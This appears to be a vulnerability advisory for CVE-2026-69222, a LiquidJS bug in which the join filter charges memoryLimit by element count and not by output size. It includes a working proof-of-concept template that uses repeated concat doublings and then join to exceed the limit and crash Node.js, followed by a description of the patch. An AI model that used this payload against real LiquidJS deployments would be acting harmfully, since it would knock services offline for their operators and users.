CVE-2026-69222: LiquidJS join Filter memoryLimit Bypass (DoS)
A crafted LiquidJS template using concat and join can allocate strings up to 1385x larger than the configured memoryLimit budget, crashing the Node.js process with no way for the limit to stop it.

The problem
The join filter in LiquidJS (<= 10.27.1) charges memoryLimit by the number of array elements, not by the byte length of the string it actually produces. This means the accounting is detached from real allocation.
An attacker combines concat (which only copies references, costing almost nothing against the limiter) with join (which materializes all referenced content into one giant string). The result: exponentially large output for a tiny charged cost, bypassing the configured DoS guard entirely.
Proof of concept
A working proof-of-concept for CVE-2026-69222 in liquidjs, with the exact payload below.
// liquidjs@10.27.1, Node v24.3.0 — live-reproduced
// memoryLimit: 1e7 (10M units) — should block; does not
const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 });
const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`;
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;
const len = Number(engine.renderSync(engine.parse(tpl)));
console.log('output length:', len);
// output length: 40960000 (>4x the 10M limit; total charged: only 29574 units)
// Scaling DOUBLINGS grows output exponentially toward a RangeError / V8 OOM crashThe root cause is in src/filters/array.ts: the old join implementation called this.context.memoryLimit.use(array.length * (1 + sep.length)), charging based on element count rather than the sum of element string lengths. The concat filter doubles the array by copying references cheaply, so an attacker can build an 8192-element array (13 doublings) at near-zero limiter cost, then call join which materializes all referenced strings into one allocation.
Total charge across split + 13x concat + join is only 29,574 units; actual output is 40,960,000 characters, a 1385x ratio.
The patch (commit 7ab49f9, PR #925) fixes this by switching join (and sibling filters json and inspect) to charge by produced output size instead of element count. This is the same class of undercounting already fixed in replace (GHSA-mmg9-6m6j-jqqx) and date/strftime (GHSA-hh27-hf48-9f5q).
CWE-400 (Uncontrolled Resource Consumption).
The fix
Upgrade to liquidjs 10.27.2. The fix (commit 7ab49f9, PR #925) makes join charge memoryLimit by the actual byte length of the joined string it produces, not by element count. Run: npm install liquidjs@^10.27.2
Related research
- highCVE-2026-61556CVE-2026-61556: LiquidJS strip_html Infinite Loop (DoS)
- highCVE-2026-55575CVE-2026-55575: LiquidJS pop Filter memoryLimit Accounting Bypass
- high · 7.5CVE-2026-71314CVE-2026-71314: Nuxt Unauthenticated DoS via Unbounded v-for Expansion in Island Rendering
- high · 7.5CVE-2026-69152CVE-2026-69152: brace-expansion DoS via unbounded intermediate arrays